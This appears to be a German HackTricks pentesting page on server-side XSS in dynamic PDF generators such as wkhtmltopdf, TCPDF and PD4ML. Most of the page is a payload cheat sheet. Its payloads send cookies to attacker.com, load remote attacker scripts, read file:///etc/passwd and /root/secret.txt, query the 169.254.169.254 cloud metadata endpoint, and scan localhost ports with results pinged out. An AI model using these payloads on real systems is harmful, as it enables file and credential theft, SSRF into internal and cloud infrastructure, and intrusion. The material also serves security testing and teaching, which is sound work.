Server Side XSS (Dynamic PDF)

Unterstütze HackTricks

Server Side XSS (Dynamisches PDF)

Wenn eine Webseite ein PDF mit benutzergesteuerten Eingaben erstellt, kannst du versuchen, den Bot zu täuschen, der das PDF erstellt, um willkürlichen JS-Code auszuführen. Wenn der PDF-Erstellungsbot eine Art von HTML Tags findet, wird er sie interpretieren, und du kannst dieses Verhalten ausnutzen, um eine Server XSS zu verursachen.

Bitte beachte, dass die <script></script> Tags nicht immer funktionieren, daher benötigst du eine andere Methode, um JS auszuführen (zum Beispiel, indem du <img ausnutzt). Beachte auch, dass du bei einer regulären Ausnutzung in der Lage sein wirst, das erstellte PDF zu sehen/herunterzuladen, sodass du alles sehen kannst, was du über JS schreibst (zum Beispiel mit document.write()). Aber wenn du das erstellte PDF nicht sehen kannst, musst du wahrscheinlich die Informationen extrahieren, indem du Webanfragen an dich sendest (Blind).

Beliebte PDF-Generierung

  • wkhtmltopdf ist bekannt für seine Fähigkeit, HTML und CSS in PDF-Dokumente zu konvertieren, wobei die WebKit-Rendering-Engine verwendet wird. Dieses Tool ist als Open-Source-Befehlszeilenprogramm verfügbar und somit für eine Vielzahl von Anwendungen zugänglich.

  • TCPDF bietet eine robuste Lösung innerhalb des PHP-Ökosystems für die PDF-Generierung. Es kann Bilder, Grafiken und Verschlüsselung verarbeiten und zeigt seine Vielseitigkeit bei der Erstellung komplexer Dokumente.

  • Für diejenigen, die in einer Node.js-Umgebung arbeiten, bietet PDFKit eine praktikable Option. Es ermöglicht die Generierung von PDF-Dokumenten direkt aus HTML und CSS und bietet eine Brücke zwischen Webinhalten und druckbaren Formaten.

  • Java-Entwickler könnten iText bevorzugen, eine Bibliothek, die nicht nur die PDF-Erstellung erleichtert, sondern auch erweiterte Funktionen wie digitale Signaturen und Formularfüllung unterstützt. Ihr umfassendes Funktionsspektrum macht sie geeignet für die Erstellung sicherer und interaktiver Dokumente.

  • FPDF ist eine weitere PHP-Bibliothek, die sich durch ihre Einfachheit und Benutzerfreundlichkeit auszeichnet. Sie ist für Entwickler konzipiert, die einen unkomplizierten Ansatz zur PDF-Generierung suchen, ohne umfangreiche Funktionen.

Payloads

Entdeckung

<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG

Jeder der vorherigen oder folgenden Payloads kann innerhalb dieses SVG-Payloads verwendet werden. Ein iframe, der auf die Burpcollab-Subdomain zugreift, und ein weiterer, der auf den Metadaten-Endpunkt zugreift, sind als Beispiele angegeben.

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

Sie können viele andere SVG-Payloads in https://github.com/allanlw/svg-cheatsheet finden.

Pfadoffenlegung

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Lade ein externes Skript

Die beste konforme Möglichkeit, diese Schwachstelle auszunutzen, besteht darin, die Schwachstelle zu missbrauchen, um den Bot ein Skript laden zu lassen, das du lokal kontrollierst. Dann kannst du die Payload lokal ändern und den Bot dazu bringen, sie jedes Mal mit demselben Code zu laden.

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

Lokale Datei lesen / SSRF

Ändere file:///etc/passwd in http://169.254.169.254/latest/user-data, um beispielsweise auf eine externe Webseite zuzugreifen (SSRF).

Wenn SSRF erlaubt ist, du aber keinen Zugriff auf eine interessante Domain oder IP hast, prüfe diese Seite auf mögliche Umgehungen.

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

Bot-Verzögerung

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

Port-Scan

<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

Diese Schwachstelle kann sehr einfach in eine SSRF umgewandelt werden (da Sie das Skript externe Ressourcen laden lassen können). Versuchen Sie also, sie auszunutzen (einige Metadaten lesen?).

Attachments: PD4ML

Es gibt einige HTML 2 PDF-Engines, die es ermöglichen, Anhänge für das PDF anzugeben, wie PD4ML. Sie können diese Funktion missbrauchen, um jede lokale Datei an das PDF anzuhängen. Um den Anhang zu öffnen, habe ich die Datei mit Firefox geöffnet und auf das Büroklammer-Symbol doppelt geklickt, um den Anhang als neue Datei zu speichern. Das Erfassen der PDF-Antwort mit Burp sollte auch den Anhang im Klartext innerhalb des PDFs anzeigen.

<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>

Referenzen

Unterstütze HackTricks

Last updated